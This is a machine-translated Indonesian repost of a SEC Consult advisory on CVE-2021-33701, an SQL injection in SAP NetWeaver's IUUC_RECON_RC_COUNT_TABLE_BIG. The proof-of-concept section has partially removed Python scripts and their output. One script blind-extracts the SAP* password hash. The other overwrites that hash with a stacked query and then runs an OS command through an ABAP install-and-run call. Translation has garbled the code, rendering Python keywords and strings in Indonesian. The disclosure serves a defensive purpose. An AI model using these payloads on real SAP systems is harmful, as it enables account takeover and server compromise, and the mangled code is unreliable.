SAP Netweaver IUUC_RECON_RC_COUNT_TABLE_BIG SQL Injection

  • Whatsapp
Zucchetti Axess Kontrol Akses CLOKI 1.64 Pemalsuan Permintaan Situs Lintas
Zucchetti Axess Kontrol Akses CLOKI Pemalsuan Permintaan Situs Lintas

News.nextcloud.asia

SEC Konsultasikan Vulnerability Lab Security Advisory < 20211214-0 >
================================================== ==============================
judul: Injeksi SQL ADBC ​​Jarak Jauh di SAP IUUC_RECON_RC_COUNT_TABLE_BIG
produk: SAP Netweaver
versi rentan: lihat bagian versi yang rentan/diuji di bawah
versi tetap: lihat bagian solusi di bawah
Nomor CVE: CVE-2021-33701
SAP SCatatan: 3078312
dampak: Kritis
Skor CVSS 3.1: 9.1
CVSS 3.1 Vektor: CVSS: 3.0 / AV: N / AC: L / PR: H / UI: N / S: C / C: H / I: H / A: H
beranda: https://www.sap.com/
ditemukan: 2021-07-07
oleh: Raschin Tavakoli (Kantor Wina)
SEC Konsultasikan Vulnerability Lab

Bagian terintegrasi dari SEC Consult, sebuah perusahaan Atos
Eropa | Asia | Amerika Utara

https://www.sec-consult.com

================================================== ==============================

Deskripsi penjual:
——————-
SAP SE adalah perusahaan perangkat lunak multinasional Jerman yang berbasis di Walldorf,
Baden-Württemberg, yang mengembangkan perangkat lunak perusahaan untuk mengelola bisnis
operasi dan hubungan pelanggan. Perusahaan ini terkenal dengan ERP-nya
perangkat lunak. SAP adalah perusahaan perangkat lunak non-Amerika terbesar berdasarkan pendapatan,
perusahaan perangkat lunak publik terbesar ketiga di dunia berdasarkan pendapatan, dan
perusahaan Jerman terbesar berdasarkan kapitalisasi pasar.”

Sumber: https://en.wikipedia.org/wiki/SAP

Rekomendasi bisnis:
————————
SAP® merilis patch (SNote 3078312) dan SEC Consult menyarankan semua
Pelanggan SAP® untuk segera memperbarui sistem mereka.

Analisis keamanan mendalam yang dilakukan oleh profesional keamanan adalah
sangat disarankan, karena perangkat lunak mungkin terpengaruh dari masalah keamanan lebih lanjut.

Ikhtisar/deskripsi kerentanan:
———————————–
1. Injeksi SQL ADBC ​​Jarak Jauh di SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

Parameter IT_WHERE_CLAUSE dari modul fungsi
IUUC_RECON_RC_COUNT_TABLE_BIG rentan terhadap Injeksi SQL ADBC. Itu
fungsi adalah bagian dari paket CNV_INC_PROCESSING_REMOTE di dalam fungsi
grup modul IUUC_REMOTE. Hal ini biasanya digunakan untuk menghitung catatan tabel di
konteks tabel logging dan kreasi pemicu.

ADBC adalah API untuk antarmuka SQL Asli AS ABAP yang didasarkan pada
Objek ABAP dan dapat digunakan untuk meneruskan pernyataan SQL Asli ke database
antarmuka. Suntikan ADBC ​​SQL adalah jenis kerentanan yang sangat serius karena
mereka memungkinkan penyerang tidak hanya mengakses data secara langsung di lapisan basis data
tetapi juga untuk keluar dari konteks klien saat ini. Selain itu, kueri bertumpuk
dapat digunakan untuk melakukan perintah baca/tulis sewenang-wenang. Semua ini mengarah ke
kompromi penuh dari server aplikasi SAP.

Karena modul fungsi yang terpengaruh diaktifkan dari jarak jauh, ini memungkinkan penyerang untuk
melakukan serangan jarak jauh melalui RFC.

Perhatikan bahwa kerentanan awalnya ditemukan oleh SEC Consult selama a
penelitian pada sistem dengan DMIS dalam versi DMIS 2011_1_731 SP 0013. Dalam hal ini
versi, parameter yang sama IT_WHERE_CLAUSE rentan terhadap ABAP
Injeksi Perintah.

Kerentanan tampaknya telah diperbaiki secara tidak memadai, meninggalkan ini
Injeksi SQL ADBC. Nasihat dapat dilihat di URL berikut:

https://sec-consult.com/vulnerability-lab/advisory/remote-abap-code-injection-in-sap-netweaver/

Prasyarat Serangan
——————–
1. Injeksi SQL ADBC ​​Jarak Jauh di SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

Prasyarat pertama adalah objek otorisasi S_DMIS (Migrasi data SAP SLO
server) dengan setidaknya pengaturan berikut:

MBT_PR_ARE: Transformasi Lanskap SAP
MBT_PR_LEV: (tidak perlu disetel)
ACTVT: 03 Tampilan

Perhatikan bahwa itu adalah praktik umum bahwa objek otorisasi (salah) dikonfigurasi
dengan wildcard, yang meningkatkan kemungkinan eksploitasi kerentanan.

Selanjutnya, otorisasi untuk melakukan panggilan fungsi (S_RFC) harus
diberikan untuk eksploitasi jarak jauh atau akses ke SE37 untuk peningkatan hak istimewa lokal

Dalam sebagian besar kasus, komunikasi RFC internal saat ini masih ditemukan
menjadi tidak terenkripsi. Ini meningkatkan risiko penyadapan akun penyerang
kata sandi. Setelah pengguna tersebut dibajak, penyerang telah mendapatkan semua yang diperlukan
prasyarat untuk serangan lebih lanjut seperti yang dijelaskan dalam nasihat ini.

Bukti dari konsep:
—————–
1. Injeksi SQL ADBC ​​Jarak Jauh di SAP IUUC_RECON_RC_COUNT_TABLE_BIG (CVE-2021-33701)

Contoh A: Baca Sewenang-wenang

Sebagai bukti konsep, skrip dibuat untuk memaksa hash kata sandi
pengguna SAP* di klien 000 saat diautentikasi ke klien 001. Ini
juga menunjukkan kemungkinan keluar dari konteks klien saat ini.
Untuk contoh ini, serangan Blind SQL berbasis boolean digunakan. Di
agar eksploitasi berfungsi, tabel yang ada secara sewenang-wenang harus
ditentukan untuk parameter I_TABNAME (di PoC ini ZDEMO_SOH dipilih).

Kutipan berikut menunjukkan kode sumber skrip:

* ************************************************* **************************** *
#!/usr/bin/env python3
dari Koneksi impor pyrfc
dari string impor ascii_letters

def generate_alphabet():
alfa = []
untuk c di ascii_letters:
alph.tambahkan(c)
untuk saya dalam kisaran (0,10):
alph.tambahkan(str(i))
alph.tambahkan(‘+’)
alph.append(‘/’)
alph.append(‘=’)
kembalikan alfa

jika __name__ == ‘__main__’:
akhir_str = “”
samb = Koneksi(ashost=”XX.XX.XX.XX”, sysnr=”00″, klien= “001”,
user = “Peter”, passwd = “Sap123456”, lang = ‘EN’)
alph = generate_alphabet()

print(“Brute Forcing SAP* password hash di klien 000 …”)

untuk saya dalam kisaran (16, 61):
beralih = 0
untuk c di alfa:
di mana_klausa = (“(‘” + c +
“‘ IN (PILIH SUBSTRING(PWDSALTEDHASH,” + str(i) +
“,1) dari USR02 WHERE BNAME=’SAP*’ AND MANDT=’000′))”)

[ — PoC partially removed — ]

jika (hasil[‘ET_COUNT’][0][‘RECCNT’] != 0):
akhir_str += c
print(“{x-issha, 1024}” + final_str,end=’r’)
cetak (“n”)
* ************************************************* **************************** *

Menjalankan kode menghasilkan output berikut:

$> poc_iuuc_remote.py
Brute Memaksa hash kata sandi SAP* di klien 000…
{x-issha, 1024} DRM3SNvfwWWsDf71QYyx + 5L0AkN3l0nyKgPjvlBsPqE =

Contoh B: Tulis Sewenang-wenang

Bukti konsep berikutnya menunjukkan penulisan sewenang-wenang ke database dengan menggunakan
kueri bertumpuk. Muatan berikut memasukkan hash kata sandi yang sesuai
ke kata sandi plaintext “Test123” ke pengguna SAP* semua klien dan
kemudian mengautentikasi dengan pengguna SAP* di klien lain 000. Setelah itu,
Perintah OS “ip addr” dijalankan:

* ************************************************* **************************** *
#!/usr/bin/env python3
dari Koneksi impor pyrfc

def read_ABAP_Report():
dengan open(‘X:\test.abap’) sebagai file:
konten = file.readlines()
konten = [x.strip() for x in content]
kembalikan konten

jika __name__ == ‘__main__’:
akhir_str = “”
samb = Koneksi(ashost=”XX.XX.XX.XX”, sysnr=”00″, klien= “001”,
user = “Peter”, passwd = “Sap123456”, lang = ‘EN’)

dimana_klausa = (
“1 = 1 ); UPDATE USR02 SET PWDSALTEDHASH = “
“‘{x-issha, 1024}voJRVT/rrJ31pxfmhb/zaBqhXA81CYKSnylMlKr/CkE=’ “
“WHERE BNAME = ‘SAP*’; COMMIT WORK; –“)

[ — PoC partially removed — ]

conn2 = Koneksi(ashost=”XX.XX.XX.XX”, sysnr=”00″, klien= “000”,
user = “SAP*”, passwd = “Test123”, lang = ‘EN’)

menyuntikkan = [‘REPORT Z_TEST213.’
‘DATA(c) = ‘ip addr’.’,
‘DATA t TYPE TABLE OF char255.’,
‘DATA l(250) TYPE c.’,
‘CALL ‘SYSTEM’ ID ‘COMMAND’ FIELD c ID ‘TAB’ FIELD t.’,
‘LOOP AT t INTO l.’,
‘WRITE: / l.’,
‘ENDLOOP.’]

params = {‘PROGRAM’:inject}
hasil = conn2.call(‘/SAPDS/RFC_ABAP_INSTALL_RUN’, **params)
untuk x dalam hasil[‘WRITES’]:
cetak(x[‘ZEILE’])
* ************************************************* **************************** *

Menjalankan kode menghasilkan output berikut:

$> .poc_iuuc_remote2.py
1: lo: mtu 65536 qdisc status noqueue grup UNKNOWN
standar ql
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 lingkup host lo
valid_lft selamanya lebih disukai_lft selamanya
inet6 ::1/128 host lingkup
valid_lft selamanya lebih disukai_lft selamanya
2: enp0s3: mtu 1500 qdisc pfifo_fast state
TURUN
link/eter XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff
3: enp0s8: mtu 1500 qdisc status pfifo_fast U
Grup P
link/eter XX:XX:XX:XX:XX:XX brd ff:ff:ff:ff:ff:ff
inet XX.XX.XX.XX/24 brd XX.XX.XX.255 lingkup global noprefixroute enp0s8
valid_lft selamanya lebih disukai_lft selamanya
inet6 fe80::a00:27ff:fec3:fa40/64 tautan lingkup
valid_lft selamanya lebih disukai_lft selamanya

Versi yang rentan/teruji:
—————————–
Kerentanan ini telah diuji pada SAP Netweaver 752 SP-LEVEL 0004
Rilis DMIS 2011_1_731 SP-Level 0016 SP SAPK-11616INDMIS.

Menurut vendor, produk/versi berikut terpengaruh:
* SAPSCORE 125 < SAPK-12502INSAPSCORE
* S4CORE 105 < SAPK-10503INS4CORE
* S4CORE 104 < SAPK-10405INS4CORE
* S4CORE 103 < SAPK-10307INS4CORE
* S4CORE 102 < SAPK-10209INS4CORE
* S4CORE 101 < SAPK-10111INS4CORE
* S4CORE 100
* DMIS 2018_1_752 < SAPK-106INDMIS
* DMIS 2020 < SAPK-20202INDMIS
* DMIS 2011_1_700 < SAPK-11321INDMIS
* DMIS 2011_1_710 < SAPK-11421INDMIS
* DMIS 2011_1_730 < SAPK-11521INDMIS
* DMIS 2011_1_731 < SAPK-11621INDMIS
* DMIS 2011_1_620 < SAPK-11121INDMIS
* DMIS 2011_1_640 < SAPK-11221INDMIS

Garis waktu kontak vendor:
————————
2021-07-08: Menghubungi Tim Tanggapan Keamanan Produk SAP melalui Portal Web
https://www.sap.com/about/trust-center/security/incident-management.html
ID SR-21-00009 telah ditetapkan
2021-07-19: Vendor mengonfirmasi kerentanan
2021-08-10: SNote 3078312 dengan patch dirilis
2021-11-17: SEC Consult mengirimkan nasihat akhir kepada vendor dan menginformasikan tentang rilis
tanggal
2021-11-18: SAP meminta untuk mengaburkan atau menghapus PoC
2021-12-14: Rilis terkoordinasi dari penasihat keamanan

Larutan:
———
SEC Consult menyarankan semua pelanggan SAP® untuk menerapkan SAP Security Note
3078312 segera. Perhatikan bahwa Catatan Keamanan 3078312 tidak berisi otomatis
instruksi koreksi untuk pelanggan yang menjalankan sistem dengan versi DMIS atau
Tingkat Paket Dukungan lebih rendah dari DMIS 2011 SP10 (2015). Silakan merujuk ke
solusi bagian.

Solusi:
———–
Di level SP yang lebih rendah, koreksi dapat diterapkan secara manual dengan memodifikasi
modul fungsi IUUC_RECON_RC_COUNT_TABLE_BIG menambahkan pernyataan berikut:
langsung setelah pemeriksaan otorisasi:

ASSERT it_where_clause[] ADALAH AWAL.

URL Saran:
————-
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

SEC Konsultasikan Vulnerability Lab

SEC Consult, sebuah perusahaan Atos
Eropa | Asia | Amerika Utara

Tentang SEC Konsultasikan Vulnerability Lab
SEC Consult Vulnerability Lab merupakan bagian terintegrasi dari SEC Consult, dan
perusahaan Atos. Ini memastikan perolehan pengetahuan lanjutan dari SEC Consult di
bidang keamanan jaringan dan aplikasi untuk tetap berada di depan penyerang. Itu
SEC Consult Vulnerability Lab mendukung pengujian penetrasi berkualitas tinggi dan
evaluasi teknologi ofensif dan defensif baru untuk pelanggan kami.
Oleh karena itu, pelanggan kami mendapatkan informasi terbaru tentang kerentanan
dan rekomendasi yang valid tentang profil risiko teknologi baru.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~
Tertarik untuk bekerja dengan para ahli dari SEC Consult?
Kirimkan aplikasi Anda kepada kami https://sec-consult.com/career/

Tertarik untuk meningkatkan keamanan siber Anda dengan para ahli dari SEC Consult?
Hubungi kantor lokal kami https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~

Mail: riset di sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Raschin Tavakoli / @ 2021

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.